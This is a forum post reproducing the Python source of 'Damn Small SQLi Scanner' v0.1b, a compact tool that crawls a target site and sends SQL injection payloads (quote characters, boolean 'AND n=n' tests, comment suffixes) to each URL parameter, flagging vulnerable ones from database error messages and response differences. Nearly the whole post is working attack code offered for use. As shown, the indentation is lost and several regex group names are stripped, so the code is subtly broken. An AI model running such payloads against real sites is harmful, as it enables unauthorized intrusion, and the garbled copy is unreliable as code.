Jump to content
Fi8sVrs

[Python] Damn Small SQLi Scanner (DSSS) v. 0.1b

Recommended Posts

  • Active Members

Below you can find the Source Code of the Damn Small SQLi Scanner (DSSS) v. 0.1b having less than 100 LOC (Lines of Code):

#!/usr/bin/env python

import difflib, httplib, optparse, random, re, sys, urllib2, urlparse

NAME = "Damn Small SQLi Scanner (DSSS) < 100 LOC (Lines of Code)"
VERSION = "0.1b"
AUTHOR = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"
LICENSE = "GPLv2 (www.gnu.org/licenses/gpl-2.0.html)"
NOTE = "This is a fully working PoC proving that commercial (SQLi) scanners can be beaten under 100 lines of code (6 hours of work, boolean, error, level 1 crawl)"

INVALID_SQL_CHAR_POOL = ['(',')','\'','"']
CRAWL_EXCLUDE_EXTENSIONS = ("gif","jpg","jar","tif","bmp","war","ear","mpg","wmv","mpeg","scm","iso","dmp","dll","cab","so","avi","bin","exe","iso","tar","png","pdf","ps","mp3","zip","rar","gz")
SUFFIXES = ["", "-- ", "#"]
PREFIXES = [" ", ") ", "' ", "') "]
BOOLEANS = ["AND %d=%d", "OR NOT (%d=%d)"]

DBMS_ERRORS = {}
DBMS_ERRORS["MySQL"] = [r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."]
DBMS_ERRORS["PostgreSQL"] = [r"PostgreSQL.*ERROr", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."]
DBMS_ERRORS["Microsoft SQL Server"] = [r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"Exception Details:.*\WSystem\.Data\.SqlClient\.", r"Exception Details:.*\WRoadhouse\.Cms\."]
DBMS_ERRORS["Microsoft Access"] = [r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"]
DBMS_ERRORS["Oracle"] = [r"ORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"]
DBMS_ERRORS["IBM DB2"] = [r"CLI Driver.*DB2", r"DB2 SQL error", r"db2_connect\(", r"db2_exec\(", r"db2_execute\(", r"db2_fetch_"]
DBMS_ERRORS["Informix"] = [r"Exception.*Informix"]
DBMS_ERRORS["Firebird"] = [r"Dynamic SQL Error", r"Warning.*ibase_.*"]
DBMS_ERRORS["SQLite"] = [r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::"]
DBMS_ERRORS["SAP MaxDB"] = [r"SQL error.*POS([0-9]+).*", r"Warning.*maxdb.*"]
DBMS_ERRORS["Sybase"] = [r"Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"]
DBMS_ERRORS["Ingres"] = [r"Warning.*ingres_", r"Ingres SQLSTATE", r"Ingres\W.*Driver"]

def getTextOnly(page):
retVal = re.sub(r"(?s)|<!--.+?-->||<[^>]+>|\s", " ", page)
retVal = re.sub(r"\s{2,}", " ", retVal)
return retVal

def retrieveContent(url):
retVal = ["", httplib.OK, "", ""] # [filtered/textual page content, HTTP code, page title, full page content]
try:
retVal[3] = urllib2.urlopen(url.replace(" ", "%20")).read()
except Exception, e:
if hasattr(e, 'read'):
retVal[3] = e.read()
elif hasattr(e, 'msg'):
retVal[3] = e.msg
retVal[1] = e.code if hasattr(e, 'code') else None
match = re.search(r"(?P<title>[^<]+)", retVal[3])
retVal[2] = match.group("title") if match else ""
retVal[0] = getTextOnly(retVal[3])
return retVal

def shallowCrawl(url):
retVal = set([url])
page = retrieveContent(url)[3]
for match in re.finditer(r"href\s*=\s*\"(?P[^\"]+)\"", page, re.I):
link = urlparse.urljoin(url, match.group("href"))
if link.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS:
if reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, link])):
retVal.add(link)
return retVal

def scanPage(url):
for link in shallowCrawl(url):
print "* scanning: %s" % link
for match in re.finditer(r"(?:[?&;])((?P\w+)=[^&;]+)", link):
vulnerable = False
tampered = link.replace(match.group(0), match.group(0) + "".join(random.sample(INVALID_SQL_CHAR_POOL, len(INVALID_SQL_CHAR_POOL))))
content = retrieveContent(tampered)
for dbms in DBMS_ERRORS:
for regex in DBMS_ERRORS[dbms]:
if not vulnerable and re.search(regex, content[0], re.I):
print " (o) parameter '%s' could be SQLi vulnerable! (%s error message)" % (match.group('parameter'), dbms)
vulnerable = True
if not vulnerable:
original = retrieveContent(link)
a, b = random.randint(100, 255), random.randint(100, 255)
for prefix in PREFIXES:
for boolean in BOOLEANS:
for suffix in SUFFIXES:
if not vulnerable:
template = "%s%s%s" % (prefix, boolean, suffix)
payloads = (link.replace(match.group(0), match.group(0) + (template % (a, a))), link.replace(match.group(0), match.group(0) + (template % (a, )))
contents = [retrieveContent(payloads[0]), retrieveContent(payloads[1])]
if any(map(lambda x: original[x] == contents[0][x] != contents[1][x], [1, 2])) or len(original) == len(contents[0][0]) != len(contents[1][0]):
vulnerable = True
else:
ratios = map(lambda x: difflib.SequenceMatcher(None, original[0], x).quick_ratio(), [contents[0][0], contents[1][0]])
vulnerable = ratios[0] > 0.95 and ratios[1] < 0.95
if vulnerable:
print " (i) parameter '%s' appears to be SQLi vulnerable! (\"%s\")" % (match.group('parameter'), payloads[0])

if __name__ == "__main__":
print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
parser = optparse.OptionParser(version=VERSION)
parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.htm?id=1\")")
options, _ = parser.parse_args()
if options.url:
scanPage(options.url)
else:
parser.print_help()

http://www.aftershell.com/2011/07/16/python-damn-small-sqli-scanner-dsss-v0-1b/

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...